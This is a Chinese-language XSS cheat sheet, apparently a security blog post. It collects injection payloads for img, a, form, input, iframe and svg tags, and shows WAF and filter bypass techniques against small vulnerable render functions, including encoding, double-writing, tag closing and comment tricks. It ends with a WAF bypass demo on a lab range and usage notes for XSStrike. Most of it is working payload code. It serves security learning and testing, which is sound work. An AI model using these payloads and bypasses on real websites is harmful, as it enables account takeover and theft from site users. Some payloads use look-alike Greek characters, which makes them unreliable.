一、常用payload
1、echo
<?php
echo "<script>alert(1)</script>";
?>
2、img标签
<img src=javascript:alert("xss")>
<IMG SRC=javascript:alert(String.formCharCode(88,83,83))>
<img scr="URL" style='Xss:expression(alert(xss));'>
<img src="x" onerror=alert(1)>
<img src="x" οnerrοr=eval("alert('xss')")>
<img src=x οnmοuseοver=alert('xss')>
3、CSS
<img STYLE="background-image:url(javascript:alert('XSS'))">
4、href
标准格式
<a href="https://www.baidu.com">baidu</a>
XSS利用方式1
<a href="javascript:alert('xss')">aa</a>
<a href=javascript:eval(alert('xss'))>aa</a>
<a href="javascript:aaa" onmouseover="alert(/xss/)">aa</a>
XSS利用方式2
<script>alert('xss')</script>
<a href="" οnclick=alert('xss')>aa</a>
XSS利用方式3
<a href="" οnclick=eval(alert('xss'))>aa</a>
XSS利用方式4
<a href=kycg.asp?ttt=1000 οnmοuseοver=prompt('xss') y=2016>aa</a>
5、form标签
XSS利用方式1
<form action=javascript:alert('xss') method="get">
<form action=javascript:alert('xss')>
XSS利用方式2
<form method=post action=aa.asp? οnmοuseοver=prompt('xss')>
<form method=post action=aa.asp? οnmοuseοver=alert('xss')>
<form action=1 οnmοuseοver=alert('xss')>
6、input标签
标准格式
<input name="name" value="">
利用方式1
<input value="" οnclick=alert('xss') type="text">
利用方式2
<input name="name" value="" οnmοuseοver=prompt('xss') bad="">
利用方式4
<input name="name" value=""><script>alert('xss')</script>
7、iframe标签
XSS利用方式1
<iframe src=javascript:alert('xss');height=5width=1000 /><iframe>
XSS利用方式2
<iframe src="data:text/html,<script>alert('xss')</script>"></iframe>
<iframe src="data:text/html;base64,<script>alert('xss')</script>">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
XSS利用方式3
<iframe src="aaa" οnmοuseοver=alert('xss') /><iframe>
XSS利用方式3
<iframe src="javascript:prompt(`xss`)"></iframe>
8、svg标签
<svg onload=alert(1)>
9、其他
二、常用的绕过Waf
1、利用大小写绕过
??这个绕过方式的出现是因为网站仅仅只过滤了<script> 标签,而没有考虑标签中的大小写并不影响浏览器的解释所致。具体的方式就像这样: <sCriPt>alert(1)</SCripT>
2、利用过滤后返回语句再次构成攻击语句来绕过(经常用双写绕过)
??有的只过滤了一次script标签,因此可以使用双写来绕过<sCri<script>Pt>alert(1)</SC</script>ripT>
3、并不是只有script标签才可以插入代码
(1)img标签
??<img src="x" onerror="alert(1)"> 就可以再次愉快的弹窗。原因很简单,我们指定的图片地址根本不存在也就是一定会发生错误,这时候onerror里面的代码自然就得到了执行。
(2)onmouseover事件
onmouseover="alert(1)" ,比如
<a onmousemove="do something here"> 当用户鼠标移动时即可运行代码<div onmouseover="do something here"> 当用户鼠标在这个块上面时即可运行(可以配合weight等参数将div覆盖页面,鼠标不划过都不行)
(3)onclick事件
??onclick="alert(1)" 这个要点击后才能运行代码,条件相对苛刻,就不再详述。
(4)onload事件
??比如以下代码
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
??payload:http://www.segmentfault.com" onload="alert(1)
4、编码脚本绕过关键字过滤
(1)Javascript的编码–eval()函数
??\uXXXX 这种写法的Unicode 转义序列,表示一个字符,其中 XXXX 表示一个 16 进制数字,如<的Unicode 编码为\u003c。
??有的时候,服务器往往会对代码中的关键字(如alert)进行过滤,这个时候我们可以尝试将关键字进行编码后再插入,不过直接显示编码是不能被浏览器执行的,我们可以用另一个语句eval()来实现。eval()会将编码过的语句解码后再执行,简直太贴心了。
??例如alert(1)编码过后就是\u0061\u006c\u0065\u0072\u0074(1) (对应于ASCII码的十六进制)
??所以构建出来的攻击语句如下:<script>eval(\u0061\u006c\u0065\u0072\u0074(1))</script>
(2)HTML实体编码
??实体编码字符<svg> (翻译官)
??把要转码的先Unicode转换一下,然后后台看到有翻译官会把Unincode编码转回为当初的字符
??比如以下代码
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '') 把()`替换为空
return input
}
??payload:<svg><script>alert(1)</script> 因为控制字符()变成了实体编码因此要使用翻译官才能让()正确发挥控制字符的作用
(3)翻译官(Unicode编码)
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
??payload:<img src="" onerror="alert(1)"> 👈HTML编码或者<svg><img src="" onerror="alert(1)"> 👈Unicode编码
5、主动闭合标签实现注入代码
??比如以下代码
function render (input) {
return '<input type="name" value="' + input + '">'
}
??payload:"><script>alert(1)</script><input type='name' value=" 或者 "><script>alert(1)</script>
6、绕过小括号()
??在前端中,反引号```可以当作小括号来使用
??比如以下代码
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
??payload:<script>alert 1</script>
7、绕过()`
(1)使用HTML实体编码
如上文所述
8、绕过HTML注释符
- 有两种注释方法:
<!-- 注释内容 --> - ``<!-- 注释内容 --!>`
比如以下代码
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}
payload:--!><script>alert(1)</script><!-- ,使用另一个注释符来畸形进行绕过
9、利用换行符绕过
??%0a–换行符
??比如以下代码
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
??payload:
onmouseover
="alert(1)"
在前端的世界里,换行一样有用,因此这里通过换行来避免on碰到=
10、绕过右标签
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
??匹配</ 任意字符>,而且/i过滤了大小写,但html的单标签也可以解析
??payload:<img src=x onerror="alert(1)"
11、绕过</内容>
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
(1)使用换行
</style
>
<script>alert(1)</script>
<style>
(2)使用空格
</style ><script>alert(1)</script><style>
12、引用指定网站下的目录文件
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
??js标签,src的地址,随便,但是js的语法是大小写敏感的
??开启phpstudy,在目录下创建一个ABC.JS ,写上一条alert(1); 语句,保存
??payload:<script src="http://127.0.0.1/ABC.JS"></script>
13、使用JS的注释符
(1)注释符–>
??--> js的注释符,让后面的语句不生效
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}') 注释只能注释掉这一行
</script>
`
}
xx
alert(1)
--> js的注释符,让后面的语句不生效
(2)注释符//
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}
??payload:");alert(1)//
??通过源码发现一些字符被转义了,就连换行符也被转义了。但是发现竟然还可以用,原因是//虽然被转义成了//,但转义之后还是//,在js中还是注释符(勿与正则混淆)
14、使用古英语
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1') <碰到字母就变成<_
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
??使用维基百科搜索s,会发现长s,古英语的s
??举一反三,碰到其他字母是否也可以用古英语
??payload:
<?cript src='http://127.0.0.1/ABC.JS'></script>
15、使用伪协议
<a href="javascript:alert(1)">
三、Waf防护与绕过演示
??就使用xss-labs这个靶场的第一关和某狗作为演示
分析拦截情况
- 通过去除关键词或关键词的其中某些字母判断拦截了什么关键词,如下正常
- 而如下就不正常了
- 如下正常。说明是匹配了
<script> 标签
- 尝试大小写绕过不行后,利用XSS平台,发现后面
</h2> 的> 把前面的给包起来了,导致访问的链接拼接了</h2
- 使用引号包裹链接即可
- 使用超链接也可以,但是
<a href=xxx> 猜测也就会检测href,而事实也确实如此,只需要在href前加/即可绕过,也不影响语义,而之所以加/能绕过,是因为在前端中/经常出现在闭合的后标签,加上后就会让waf误以为是结束标签
四、常规Waf绕过思路
[+] 标签语法替换
[+] 特殊符号干扰 比如 / #
[+] 提交方式更改 Request的前提下,Waf只检查URL内容而不检查POST内容
[+] 垃圾数据溢出
[+] 加密解密算法
[+] 结合其他漏洞绕过
五、XSS自动化工具
1、Xwaf
??下载链接:https://github.com/3xp10it/xwaf
??现在作者貌似不再维护该项目了
2、XSStrike
??下载链接:https://github.com/s0md3v/XSStrike
XSStrike 主要特点:
[+] 反射和 DOM XSS 扫描
[+] 多线程爬虫
[+] Context 分析
[+] 可配置的核心
[+] 检测和规避 WAF
[+] 老旧的 JS 库扫描
[+] 智能 payload 生成器
[+] 手工制作的 HTML & JavaScript 解析器
[+] 强大的 fuzzing 引擎
[+] 盲打 XSS 支持
[+] 高效的工作流
[+] 完整的 HTTP 支持
[+] Bruteforce payloads 支持
[+] Payload 编码
??相关参数
-h, --help //显示帮助信息
-u, --url //指定目标 URL
--data //POST 方式提交内容
-v, --verbose //详细输出
-f, --file //加载自定义 paload 字典
-t, --threads //定义线程数
-l, --level //爬行深度
-t, --encode //定义 payload 编码方式
--json //将 POST 数据视为 JSON
--path //测试 URL 路径组件
--seeds //从文件中测试、抓取 URL
--fuzzer //测试过滤器和 Web 应用程序防火墙。
--update //更新
--timeout //设置超时时间
--params //指定参数
--crawl //爬行
--proxy //使用代理
--blind //盲测试
--skip //跳过确认提示
--skip-dom //跳过 DOM 扫描
--headers //提供 HTTP 标头
-d, --delay //设置延迟
六、Fuzzing测试
- 在线生成Fuzzing字典:XSS Fuzzer
- Fuzzing字典:https://github.com/TheKingOfDuck/fuzzDicts
七、XSS(带过滤)靶场实战
|